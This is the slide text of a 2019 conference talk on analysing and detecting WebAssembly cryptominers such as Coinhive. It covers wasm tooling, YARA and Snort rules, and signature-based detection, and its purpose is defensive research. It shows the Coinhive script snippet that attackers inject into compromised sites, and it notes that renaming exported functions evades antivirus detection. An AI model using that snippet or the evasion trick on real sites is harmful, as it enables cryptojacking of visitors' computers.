17 June 2019

Analyze & Detect WebAssembly Cryptominer

FIRST conference 2019
Whoami

Patrick Ventuzelo
@Pat_Ventuzelo

QuoScient GmbH
► Security Researcher/Engineer

Quolab
► Threat Intel & Response Platform
► Collaborative, Decentralized

What I’m working on?
► Blockchain Transaction Tracking
► Research about Smart contracts, WebAssembly, …
► Malware analysis
► Vulnerability Analysis/Research
► Security tool Development (Octopus, Quolab, …)

© QuoScient | FIRST conference 2019
Agenda

1. Introduction
2. WebAssembly Basics
3. Module dissection
4. Program analysis
5. WebAssembly Cryptominers
6. Analysis (Coinhive)
7. Cryptominers detection
8. Conclusion
Introduction
What is WebAssembly?

- "Binary instruction format for a stack-based virtual machine"
  - Low-level bytecode
  - Compilation target for C/C++/Rust/Go/…
- Generic evolution of NaCl & Asm.js
- W3C standard
  - MVP 1.0 (March 2017)
- Natively supported in all major browsers

WebAssembly goals:
- Be fast, efficient, and portable (near-native speed)
- Easily readable and debuggable (wat/wast)
- Keep secure (safe, sandboxed execution environment)
- Don’t break the web (not a JS killer)
A game changer for the web

WebAssembly or "wasm" is a new portable, size- and load-time-efficient format suitable for compilation to the web.

https://caniuse.com/#feat=wasm

~86% of Mobile users & ~87% of Desktop users (06/2019)
Wasm can already be used for games…

- Supported by multiple game engines:
  - Unity3D WebGL ([WebAssembly is here!](#))
  - Unreal Engine 4 (since 4.18), …

- Tanks!
  - Unity3D - Local 2 players

- Demos
  - EpicZenGarden
  - SunTemple
  - AngryBots
  - Funky Karts
Wasm can be used for *huge* web app…
Wasm is used for Blockchain smart contracts...

- 2/5 of the Top Cryptocurrencies by MarketCap

- **Ethereum #2**
  - Decentralized platform that runs smart contracts
  - Ethereum 2.0
    - WebAssembly instead of EVM

- **EOS #5**
  - Open source smart contract platform
  - Compiled from C++ to WebAssembly

- See my talk about “Reverse Engineering of Blockchain Smart Contracts” at REcon Montreal 2018
Wasm is used for (il)legal crypto-mining…

- CryptoJacking
  - Unauthorized use of computing resources to mine cryptocurrencies.

- CoinHive
  - Created in 2017
  - Simple API
  - “Our miner uses WebAssembly and runs with about 65% of the performance of a native Miner.”
  - (legit) Proof of Work Captcha

- Attackers just need to insert this snippet of code on victims website:

```html
<script src="https://coinhive.com/lib/coinhive.min.js"></script>
<script>
  var miner = new CoinHive.User('SITE_KEY', 'john-doe');
  miner.start();
</script>
```
Wasm is used for (il)legitimate crypto-mining…

In-browser mining: Coinhive and WebAssembly

© QuoScient | FIRST conference 2019
WebAssembly Basics
Source code to WebAssembly

C/C++

```c
int fib(int n)
{
    if (n == 0 || n == 1)
        return n;
    else
        return (fib(n-1) + fib(n-2));
}
```

Rust

```rust
fn fib(n: u32) -> u32 {
    match n {
        0 => 1,
        1 => 1,
        _ => fib(n - 1) + fib(n - 2),
    }
}
```

wasm text format

```
(module
    (table 0 anyfunc)
    (memory $0 1)
    (export "memory" (memory $0))
    (export "fib" (func $fib))
    (func $fib (; $0) (param $0 i32) (result i32)
        (block $label$0
            (br_if $label$0
                (i32,ne
                    (i32.or
                        (get_local $0)
                        (i32.const 1))
                    (i32.const 1)))
            (return
                (get_local $0)))
        (i32.add
            (call $fib
                (i32.add
                    (get_local $0)
                    (i32.const -1)))
            (i32.add
                (call $fib
                    (i32.add
                        (get_local $0)
                        (i32.const -2)))
                (i32.const 1))
        )
    )
)
```

binary file (.wasm)

```
0061 736d 0100 0000
0186 8080 8000 0160
017f 017f 0382 8080
8000 0100 0484 8080
8000 0170 0000 0583
8080 8000 0100 0106
8180 8080 0000 0790
8000 8000 0200 6d65
6d6f 7279 0200 0366
6962 0000 00a7 8080
8000 01a1 8080 8000
0002 4020 0041 0172
4101 470d 0020 00f0
0b20 0041 7f6a 1000
2000 417e 6a10 006a
0b
```
Compilation with **Emscripten**

- Open Source LLVM to JavaScript compiler
  - SDK that compiles C/C++ into .wasm binaries
  - Includes built-in C libraries
  - C/C++ → LLVM bitcode (Clang)
  - LLVM bitcode → WebAssembly
    - using `[LLVM WebAssembly]` – “EMCC_WASM_BACKEND=1” flag
    - using “Fastcomp” (LLVM Backend – asm.js) & [Binaryen]

- Compile with:

  ```bash
  emcc hello.c -s WASM=1 -o hello.html
  ```
WebAssembly JavaScript API

- Complete documentation on Mozilla [MDN for WebAssembly](https://developer.mozilla.org/en-US/docs/Web/JavaScript/WebAssembly)
  - Methods/Constructors
  - Examples
  - Browser compatibility table

```
WebAssembly.Instantiate()

The primary API for compiling and instantiating a Module and its first Instance.

WebAssembly.InstantiateStreaming()

Compiles and instantiates a WebAssembly module from a byte source, returning both a Module and its first Instance.

WebAssembly.compile()

Compiles a WebAssembly.Module from WebAssembly as a separate step.

WebAssembly.compileStreaming()

Compiles a WebAssembly.Module directly from a byte source as a separate step.

WebAssembly.validate()

Validates a given typed array of WebAssembly is valid WebAssembly code (true) or not (false).
```

---

© QuoScient | FIRST conference 2019

<table>
<thead>
<tr>
<th>Basic support</th>
<th>57</th>
<th>16</th>
<th>52 *</th>
<th>No</th>
<th>44</th>
<th>11</th>
<th>57</th>
<th>57</th>
<th>Yes</th>
<th>52 *</th>
<th>?</th>
<th>11</th>
<th>7.0</th>
<th>8.0.0</th>
</tr>
</thead>
<tbody>
<tr>
<td>CompileError</td>
<td>57</td>
<td>16</td>
<td>52 *</td>
<td>No</td>
<td>44</td>
<td>11</td>
<td>57</td>
<td>57</td>
<td>Yes</td>
<td>52 *</td>
<td>?</td>
<td>11</td>
<td>7.0</td>
<td>8.0.0</td>
</tr>
<tr>
<td>Global</td>
<td>No</td>
<td>No</td>
<td>62</td>
<td>No</td>
<td>No</td>
<td>No</td>
<td>No</td>
<td>No</td>
<td>No</td>
<td>No</td>
<td>No</td>
<td>No</td>
<td>No</td>
<td>No</td>
</tr>
<tr>
<td>Instance</td>
<td>57</td>
<td>16</td>
<td>52 *</td>
<td>No</td>
<td>44</td>
<td>11</td>
<td>57</td>
<td>57</td>
<td>Yes</td>
<td>52 *</td>
<td>?</td>
<td>11</td>
<td>7.0</td>
<td>8.0.0</td>
</tr>
<tr>
<td>LinkError</td>
<td>57</td>
<td>16</td>
<td>52 *</td>
<td>No</td>
<td>44</td>
<td>11</td>
<td>57</td>
<td>57</td>
<td>Yes</td>
<td>52 *</td>
<td>?</td>
<td>11</td>
<td>7.0</td>
<td>8.0.0</td>
</tr>
<tr>
<td>Memory</td>
<td>57</td>
<td>16</td>
<td>52 *</td>
<td>No</td>
<td>44</td>
<td>11</td>
<td>57</td>
<td>57</td>
<td>Yes</td>
<td>52 *</td>
<td>?</td>
<td>11</td>
<td>7.0</td>
<td>8.0.0</td>
</tr>
<tr>
<td>Module</td>
<td>57</td>
<td>16</td>
<td>52 *</td>
<td>No</td>
<td>44</td>
<td>11</td>
<td>57</td>
<td>57</td>
<td>Yes</td>
<td>52 *</td>
<td>?</td>
<td>11</td>
<td>7.0</td>
<td>8.0.0</td>
</tr>
<tr>
<td>RuntimeError</td>
<td>57</td>
<td>16</td>
<td>52 *</td>
<td>No</td>
<td>44</td>
<td>11</td>
<td>57</td>
<td>57</td>
<td>Yes</td>
<td>52 *</td>
<td>?</td>
<td>11</td>
<td>7.0</td>
<td>8.0.0</td>
</tr>
<tr>
<td>Table</td>
<td>57</td>
<td>16</td>
<td>52 *</td>
<td>No</td>
<td>44</td>
<td>11</td>
<td>57</td>
<td>57</td>
<td>Yes</td>
<td>52 *</td>
<td>?</td>
<td>11</td>
<td>7.0</td>
<td>8.0.0</td>
</tr>
<tr>
<td>Compile</td>
<td>57</td>
<td>16</td>
<td>52 *</td>
<td>No</td>
<td>44</td>
<td>11</td>
<td>57</td>
<td>57</td>
<td>Yes</td>
<td>52 *</td>
<td>?</td>
<td>11</td>
<td>7.0</td>
<td>8.0.0</td>
</tr>
<tr>
<td>CompileStreaming</td>
<td>61</td>
<td>16</td>
<td>58</td>
<td>No</td>
<td>47</td>
<td>No</td>
<td>61</td>
<td>61</td>
<td>No</td>
<td>58</td>
<td>?</td>
<td>No</td>
<td>No</td>
<td>No</td>
</tr>
<tr>
<td>Instantiate</td>
<td>57</td>
<td>16</td>
<td>52 *</td>
<td>No</td>
<td>44</td>
<td>11</td>
<td>57</td>
<td>57</td>
<td>Yes</td>
<td>52 *</td>
<td>?</td>
<td>11</td>
<td>7.0</td>
<td>8.0.0</td>
</tr>
<tr>
<td>InstantiateStreaming</td>
<td>61</td>
<td>16</td>
<td>58</td>
<td>No</td>
<td>47</td>
<td>No</td>
<td>61</td>
<td>61</td>
<td>No</td>
<td>58</td>
<td>?</td>
<td>No</td>
<td>No</td>
<td>No</td>
</tr>
<tr>
<td>Validate</td>
<td>57</td>
<td>16</td>
<td>52 *</td>
<td>No</td>
<td>44</td>
<td>11</td>
<td>57</td>
<td>57</td>
<td>Yes</td>
<td>52 *</td>
<td>?</td>
<td>11</td>
<td>7.0</td>
<td>8.0.0</td>
</tr>
</tbody>
</table>
Run wasm inside your Browser
Wasm Module Dissection
Binary Format - overview

- Binary format
- Compact
- Easy to verify

Module structure
- Header
- 11 defined Sections
- + 1 custom section
  - unlimited

Field | Type | Description
--- | --- | ---
magic number | uint32 | Magic number 0x6d736100 (i.e., \"0asm\")
version | uint32 | Version number, 0x1

https://wasdk.github.io/wasmcodeexplorer/
Binary Format - Sections

<table>
<thead>
<tr>
<th>Field</th>
<th>Type</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>id</td>
<td>varuint7</td>
<td>section code</td>
</tr>
<tr>
<td>payload_len</td>
<td>varuint32</td>
<td>size of this section in bytes</td>
</tr>
<tr>
<td>name_len</td>
<td>varuint32</td>
<td>length of name in bytes, present if id == 0</td>
</tr>
<tr>
<td>name</td>
<td>bytes</td>
<td>section name: valid UTF-8 byte sequence, present if id == 0</td>
</tr>
<tr>
<td>payload_data</td>
<td>bytes</td>
<td>content of this section, of length payload_len - sizeof(name) - sizeof(name_len)</td>
</tr>
</tbody>
</table>

- **Custom section**
  - id == 0
  - name_len and name mandatory

- **Name section**
  - id == 0 / name_len == 4 / name == “name”
  - Names of functions & local variables in the text format (wast)
  - Useful for dev/debug (eq. of –g flag of gcc)
WABT: WebAssembly Binary Toolkit

- **WABT**: WebAssembly Binary Toolkit
  - Suite of tools for WebAssembly
  - Translation & Decompilation

```
(module)
  (func (type $0) (type $0) (type $0))
  (block ...)
  (return)

(wat2wasm)

(wasm2c)

(wasm2wat)
```
WebAssembly Text Format

- Standardized text format
  - .wat/.wast file extensions
  - S-expressions (like LISP)
  - Functions body

- Small instruction set (172 instructions)
  - Data types: i32, i64, f32, f64
  - Control-Flow operators
    - block loop br call call_indirect, ...
  - Memory operators (load, store, etc.)
  - Variables operators
  - Arithmetic operators
    - + - * / % && || ^ << >> etc.
  - Constant operators (const)
  - ...

```plaintext
(module
table (;0;) 0 anyfunc
(memory (;0;) 1)
(export "memory" (memory 0))
(export "fib" (func 0))
type (;0;) (func (param i32) (result i32))
(func (;0;) (type 0) (param i32) (result i32))
block ;; label = @1
get_local 0
i32.const 1
i32.or
i32.const 1
i32.ne
br_if 0 (;@1;)
get_local 0
return
end
get_local 0
i32.const 0
i32.add
i32.const -1
call 0
get_local 0
i32.const 0
i32.add
i32.const -2
call 0
i32.add
)
```
Program analysis
Disassembler supporting WebAssembly

- **IDA Pro** (wasm support over plugins)
  - IDA is a Windows, Linux or Mac OS X hosted multi-processor disassembler and debugger
  - Loader and processor modules for WebAssembly (from Sophos, from Fireeye)

- **Radare2/Cutter**
  - **Radare2**: Unix-like reverse engineering framework and command-line tools security
  - **Cutter**: A Qt and C++ GUI for radare2 reverse engineering framework

- **JEB decompiler**
  - JEB is a reverse-engineering platform to perform disassembly, decompilation, debugging, and analysis of code
  - Provide demo version with wasm support

- **Octopus**
  - Security Analysis tool for WebAssembly module and Blockchain Smart Contracts
Octopus

- Security analysis framework
  - WebAssembly module
  - Blockchain Smart Contracts (BTC/ETH/NEO/EOS)
- [https://github.com/quoscient/octopus](https://github.com/quoscient/octopus)

<table>
<thead>
<tr>
<th></th>
<th>BTC</th>
<th>ETH</th>
<th>EOS</th>
<th>NEO</th>
<th>WASM</th>
</tr>
</thead>
<tbody>
<tr>
<td>Explorer</td>
<td>✔️</td>
<td>✔️</td>
<td>✔️</td>
<td>✔️</td>
<td></td>
</tr>
<tr>
<td>Disassembler</td>
<td>✔️</td>
<td>✔️</td>
<td>✔️</td>
<td>✔️</td>
<td>✔️</td>
</tr>
<tr>
<td>Control Flow Analysis</td>
<td>✗</td>
<td>✔️</td>
<td>✔️</td>
<td>✔️</td>
<td>✔️</td>
</tr>
<tr>
<td>Call Flow Analysis</td>
<td>✗</td>
<td>++</td>
<td>✔️</td>
<td>++</td>
<td>✔️</td>
</tr>
<tr>
<td>IR conversion (SSA)</td>
<td>✗</td>
<td>++</td>
<td>++</td>
<td>✗</td>
<td>+</td>
</tr>
<tr>
<td>Symbolic Execution</td>
<td>✗</td>
<td>++</td>
<td>++</td>
<td>✗</td>
<td>+</td>
</tr>
</tbody>
</table>

© QuoScient | FIRST conference 2019
Control flow graph (CFG)

```module
(module (main) (type (int) (func (param int) (result int)))
(func (main) (param int) (result int))

block ;; label = @1
    get_local 0
    int const 1
    int or
    int const 1
    int ne
    br if 0 (:@1);
    get_local 0
    return
end
get_local 0
int const -1
int add
call 0
getail 0
int const -2
int add
call 0
int add
```

```i32 fib(i32)
0: block -64
2: get_local 0
4: i32.const 1
6: i32.or
7: i32.const 1
9: i32.ne
a: br_if [15]
f: end
10: get_local 0
12: i32.const -1
14: i32.add
15: call 0
17: get_local 0
19: i32.const -2
lb: i32.add
lc: call 0
le: i32.add
lf: end
```
CallFlow graph

Call operators (described here)

<table>
<thead>
<tr>
<th>Name</th>
<th>Opcode</th>
<th>Immediates</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>call</td>
<td>0x10</td>
<td>function_index: varuint32</td>
<td>call a function by its index</td>
</tr>
<tr>
<td>call_indirect</td>
<td>0x11</td>
<td>type_index: varuint32, reserved: varuint1</td>
<td>call a function indirect with an expected signature</td>
</tr>
</tbody>
</table>

The call_indirect operator takes a list of function arguments and as the last operand the index into the table. Its reserved immediate is for future use and must be 0 in the MVP.

- **call**
  - arg: index of the function

- **call_indirect**
  - arg: signature type - ex: (i32 i32) → i32
  - Function signature popped from the stack at runtime
  - index need to be in the Table section

© QuoScient | FIRST conference 2019
Instructions analytics

Visual analytics about types of instructions per functions inside the WebAssembly module

- ./octopus_wasm.py -y -f shalsum.wasm

- Give you quick information about:
  - **Number** of functions
  - **Size** of the functions (number of instructions)
  - **Type** of instructions per functions

- Help you determined which functions to focus first!
WebAssembly Cryptominers
Coinhive / Monero Cryptominer

- **Coinhive**
  - Found on multiple vulnerable website
    - JS injected in Drupal/Wordpress website not updated
  - Discontinuation of Coinhive (February 26, 2019) – [link]
  - But that doesn’t mean wasm cryptominer will stop

- **Monero** Cryptominer:
  - use computing resources to mine Monero cryptocurrency.
  - Cryptonight PoW hash algorithm

- **Coinhive sample:**
  - 47d299593572faf8941351f3ef8e46bc18eb684f679d87f9194bb635dd8aabc0
Other cryptominer - Cryptoloot

- Crypto-Loot offers a Browser based web miner for the Monero Blockchain.
  - Mining Monero cryptocurrency

- Coinhive copycat
  - [website](https://crypto-loot.com), [github](https://github.com), [API](https://coinhive.com), [coinhive-alternative](https://cryptoloot.com)
  - Try to look more legit than Coinhive

---

**CoinHive Alternative**

Why choose CryptoLoot? **CryptoLoot charges a 12% fee** compared to CoinHive's 30% fee, and also offers additional features such as CNAME Proxies, daily re-encryption, and others. CryptoLoot's main priority is to provide the most profitable mining experience to webmasters and developers, and is doing so by being the lead coinhive alternative.

© QuoScient | FIRST conference 2019
YARA rules for cryptominer detection

- YARA rules publicly available for JSminer detection:
  - Based their detection on the JS script contents
  - Do not try to detect pattern inside wasm file

- Examples:
  - CoinHive Javascript MoneroMiner by Florian Roth
  - crypto_jacking_signatures by Brian Laskowski

```yara
rule CoinHive Javascript MoneroMiner {
  meta:
    description = "Detects CoinHive - JavaScript Crypto Miner"
    license = "https://creativecommons.org/licenses/by-nc/4.0/"
    author = "Florian Roth"
    score = 50
    reference = "https://coinhive.com/documentation/miner"
    date = "2018-01-04"
  strings:
    $s2 = "CoinHive.CONFIG.REQUIRES_AUTH" fullword ascii
  condition:
    filesize < 65KB and 1 of them
}
```
Network detection using IDS

- **Snort rules**
  - Some rule related to cryptomining already exists (here - page 33)
  - Some rule related to WebAssembly already exists - link
    - detection for CVE-2018-5093
    - detection for cryptominer (cryptonight)

```
alert tcp $EXTERNAL_NET $FILE_DATA_PORTS -> $HOME_NET any (msg:"PUA-OTHER CryptoNight webassembly download attempt"; flow:to_client,established; flowbits:isset,file.wasm; file_data; content:"cryptonight"; fast_pattern:only; metadata:policy balanced-ips drop, policy security-ips drop, service ftp-data, service http, service imap, service pop3; classtype:misc-attack; sid:46366; rev:1;)
```

- This rule will **FAIL** if:
  - wasm modules are **inline** inside a JS script i.e. not downloaded as a standalone file (*.wasm)
  - Functions are rename without “cryptonight” inside export names
Detection of Cryptonight?

- Detection based on strings inside wasm cryptominer
  - Binary level: AV signatures, YARA, ...
  - Network level: Snort, Suricata, ...
  - VirusTotal detection
Detection of Cryptonight?

- Detection based on strings inside wasm cryptominer
  - Binary level: AV signatures, YARA, ...
  - Network level: Snort, Suricata, ...
  - VirusTotal detection

- But if you just rename those strings (function names)
  - c687d825540f72e14e94bad3c6732b1652aae0d1b6c9741e71fc8f50bb5df231
  - VirusTotal detection (08/2018)

- Renaming function names make it FUD
  - _cn________hash
  - _cn________create
  - _cn________destroy
Cryptonight exported functions

Exported functions names called from JS
► _cryptonight_create
► _cryptonight_destroy
► _cryptonight_hash

One Google search give us:
► Harvest
► cryptonight-hash
► Xmonarch
► ...

```javascript
const cryptonight = require('./cryptonight.js');

function work(){
  var nonce = Math.random() * 4294967296 + 1 >> 0;
  var input[30] = (nonce & 4278356398) >> 30;
  var input[40] = (nonce & 16711688) >> 16;
  var input[41] = (nonce & 65536) >> 0;
  var input[42] = (nonce & 255) >> 0;
  cryptonight._cryptonight_hash(input.byteOffset, output.byteOffset, input.byteLength);
  //console.log(nonce, Buffer.from(output).toString("hex"));
  hashes++;
  var now = new Date().getTime();
}
```
Identify wasm compiler functions

- Cryptominer usually compiled:
  - from C/C++ code using Emscripten compiler
  - without removing unused functions

- Emscripten syscalls
  - ___syscallXX imported by the wasm module
  - XX represents the system call number

```python
In [40]: cfg.analyzer.get_emscripten_calls()
Out [40]:
[['abort',
  'enlargeMemory',
  'getTotalMemory',
  'abortOnCannotGrowMemory',
  'lock',
  '__syscall6',
  '__unlock',
  '__emscripten_memcpy_big',
  '__syscall54',
  '__syscall140',
  '__syscall20',
  '__assert_fail',
  '__syscall146',
  'stackAlloc',
  'stackSave',
  'stackRestore',
  'establishStackSpace',
  'setThrow',
  'setTempRet0',
  'getTempRet0',
  'malloc',
  '__free',
  '__emscripten_get_global_libc',
  '__errno_location',
  '__fflush',
  'runPostSets',
  '__memset',
  '__brk',
  '__memcpy',
  '__dynCall_ii',
  '__dynCall_iiii',
  '__dynCall_viiii']
```

© QuoScient | FIRST conference 2019
Lot of different xrefs to this function
Lot of static calls to those local functions
Instructions count per function and group
Interesting functions:

- Almost no **Control operators** (branches, blocks, …)
- Huge used of **Variable operators**
- +30% of **Constant operators**
- +30% of **Arithmetic/bitwise operations**
# Cryptographic functions?

<table>
<thead>
<tr>
<th>Name</th>
<th>signature</th>
<th>Num instrs</th>
<th>Num blocks</th>
<th>Ratio</th>
<th>Static xrefs</th>
</tr>
</thead>
<tbody>
<tr>
<td>$func31</td>
<td>(i32, i32) → ()</td>
<td>1756</td>
<td>1</td>
<td>1756 instrs/block</td>
<td>16</td>
</tr>
<tr>
<td>$func32</td>
<td>(i32, i32) → ()</td>
<td>1080</td>
<td>7</td>
<td>154 instrs/block</td>
<td>2</td>
</tr>
<tr>
<td>$func38</td>
<td>(i32, i32, i32) → ()</td>
<td>2129</td>
<td>1</td>
<td>2129 instrs/block</td>
<td>20</td>
</tr>
<tr>
<td>$func39</td>
<td>(i32, i32, i32) → ()</td>
<td>2204</td>
<td>1</td>
<td>2204 instrs/block</td>
<td>10</td>
</tr>
<tr>
<td>$func45</td>
<td>(i32, i32, i32, i32) → ()</td>
<td>4157</td>
<td>5</td>
<td>831 instrs/block</td>
<td>9</td>
</tr>
<tr>
<td>$func46</td>
<td>(i32, i32, i32, i32) → ()</td>
<td>1680</td>
<td>9</td>
<td>186 instrs/block</td>
<td>9</td>
</tr>
<tr>
<td>$func47</td>
<td>(i32, i32, i32, i32) → ()</td>
<td>2162</td>
<td>5</td>
<td>432 instrs/block</td>
<td>8</td>
</tr>
</tbody>
</table>
Cryptographic functions with only 1 basic block

<table>
<thead>
<tr>
<th></th>
<th>i32.const</th>
<th>i32.load</th>
<th>get_local</th>
<th>i32.add</th>
<th>i32.shl</th>
<th>i32.xor</th>
<th>i32.and</th>
<th>i32.shr_u</th>
<th>tee_local</th>
</tr>
</thead>
<tbody>
<tr>
<td>$func31$</td>
<td>32%</td>
<td>11.6%</td>
<td>11.4%</td>
<td>9.3%</td>
<td>9.1%</td>
<td>9.1%</td>
<td>6.8%</td>
<td>6.8%</td>
<td>2.4%</td>
</tr>
<tr>
<td>$func38$</td>
<td>27.9%</td>
<td>15.2%</td>
<td>13.4%</td>
<td>7.5%</td>
<td>6.4%</td>
<td>6.3%</td>
<td>6%</td>
<td>5.6%</td>
<td>4.7%</td>
</tr>
<tr>
<td>$func39$</td>
<td>27.7%</td>
<td>15.4%</td>
<td>13%</td>
<td>7.3%</td>
<td>6.5%</td>
<td>6.5%</td>
<td>6.2%</td>
<td>5.8%</td>
<td>4.5%</td>
</tr>
</tbody>
</table>
Cryptominers detection
Cryptoloot – Similarity matching

Coinhive

Cryptoloot

© QuoScient | FIRST conference 2019
Cryptoloot – Similarity matching

- **Coinhive**

```
 Coinhive

- enlargeMemory
  - _memory
    - _escripten_memcpy_big
      - abortOnCannotGrowMemory
        - _setErrNo
          - abort

- getTempFile()
  - $func37
    - $func50
      - __ftime
        - __syscall26
          - $func46
            - __ftime
```

- **Cryptoloot**

```
 Cryptoloot

- stackRestore

```

© QuoScient | FIRST conference 2019
Detection of cryptonight algorithm

- Detect cryptonight functions name
  - `_cryptonight_create`, `_cryptonight_destroy`, `_cryptonight_hash`
  - Not really efficient

- Detect cryptonight functions instructions/bytecodes
  - Remove block/end opcodes
  - `?? ??` to abstract `i32.const` value with memory offset

- Result:
  - Both cryptonight & cryptoloot detected
  - You can used this YARA rule to get different variants on VirusTotal
Conclusion
Conclusion

Detection of cryptographic (computation) functions
- More viable than using function names detection
- Can be apply to other functions in the binaries
  - Emscripten functions, other algorithms, …

Dynamic detection:
- SEISMIC: SEcure In-lined Script Monitors for Interrupting Cryptojacks – link

Other detection techniques applicable:
- Detection using CFG signature (like GRAP)
- Detection using magic constants (like FindCrypt2 IDA plugin)
- Detection using function divination (like Sibyl)
- Identify functions from their side effects
  - memory access, return value, etc.
Training at RECON Montreal (24-27 June 2019)

More detail here: https://recon.cx/2019/montreal/training/trainingwebassembly.html

WebAssembly Module Reverse Engineering and Analysis

WebAssembly (WASM) is a new binary format currently developed and supported by all major browsers including Firefox, Chrome, WebKit /Safari and Microsoft Edge through the W3C. This new format have been designed to be “Efficient and fast”, “Debuggable” and “Safe” that why it is often called as the “game changer for the web”. This courses will give you all the prerequisites to understand WebAssembly module and it’s virtual machine model. At the end of this intensive 4 days, you will learn which security measures are implemented by WebAssembly VM to validate and handle exceptions. You will be able to reverse statically and dynamically a WebAssembly module, analyze its behavior, create detection rule and search for vulnerability insides. Finally, you will discover how to do vulnerability research and fuzzing on those VM. Along this training, students will deal with a lots of hands-on exercises allowing them to internalize concepts and techniques taught in class. Hope you will like it!!

Register here!

Instructor: Patrick Ventuzelo

Dates: 24-27 June 2019

Capacity: 20 Seats
Thanks & Question

Patrick Ventuzelo / @Pat_Ventuzelo
Octopus - https://github.com/quoscient/octopus
QuoScient

Radilostrasse 43
60489 Frankfurt
Germany
+49 69 33 99 79 38
curious@quoscient.io
www.quoscient.io